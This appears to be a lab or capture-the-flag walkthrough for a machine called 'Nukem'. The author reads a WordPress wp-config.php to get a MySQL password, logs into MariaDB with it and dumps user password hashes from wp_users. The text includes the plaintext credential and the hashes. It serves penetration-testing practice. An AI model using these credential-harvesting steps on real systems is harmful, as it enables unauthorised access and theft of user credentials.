Nukem_MySQL

MySQL

---

Attempting to locate the DB credential for the MySQL instance

DB Credential

---

[http@nukem http]$ cat wp-config.php | grep -v '^#'
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
 
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
 
/** MySQL database username */
define( 'DB_USER', 'commander' );
 
/** MySQL database password */
define( 'DB_PASSWORD', 'CommanderKeenVorticons1990' );
 
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
 
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
 
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
 
/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );
 
/**#@-*/
 
/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';
 
/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );
 
/* That's all, stop editing! Happy publishing. */
 
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}
 
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

DB credential identified; commander:CommanderKeenVorticons1990 The commander user is a valid system user, so this credential will be tested for reuse

Database Enumeration

---

[http@nukem http]$ mysql -h localhost -ucommander -pCommanderKeenVorticons1990
mysql -h localhost -ucommander -pCommanderKeenVorticons1990
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 55
Server version: 10.5.5-MariaDB Arch Linux
 
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
MariaDB [(none)]> 

Connection established

MariaDB [(none)]> show datashow databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
2 rows in set (0.001 sec)
 
MariaDB [(none)]> use wordpress;
use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed

Using the wordpress DB

MariaDB [wordpress]> SELECT SELECT user_login,user_pass FROM wp_users;
SELECT user_login,user_pass FROM wp_users;
+-----------------+------------------------------------+
| user_login      | user_pass                          |
+-----------------+------------------------------------+
| admin           | $P$BoktR9dJnCOMHiLEnYkPfS1Ae/7vPq/ |
| test_student    | $P$BagAM8sFmQrGM3/sEKqFeskbTKkWqc. |
| test_student2   | $P$BSIan1yset0vNL3J0QbJc4bDw8/S5q. |
| test_instructor | $P$BRFROtuBvGdQxVfSKSM8ltOpoTLZmG. |
+-----------------+------------------------------------+
4 rows in set (0.000 sec)

Password hash of the admin user found; $P$BoktR9dJnCOMHiLEnYkPfS1Ae/7vPq/ hashcat was unable to crack the password hash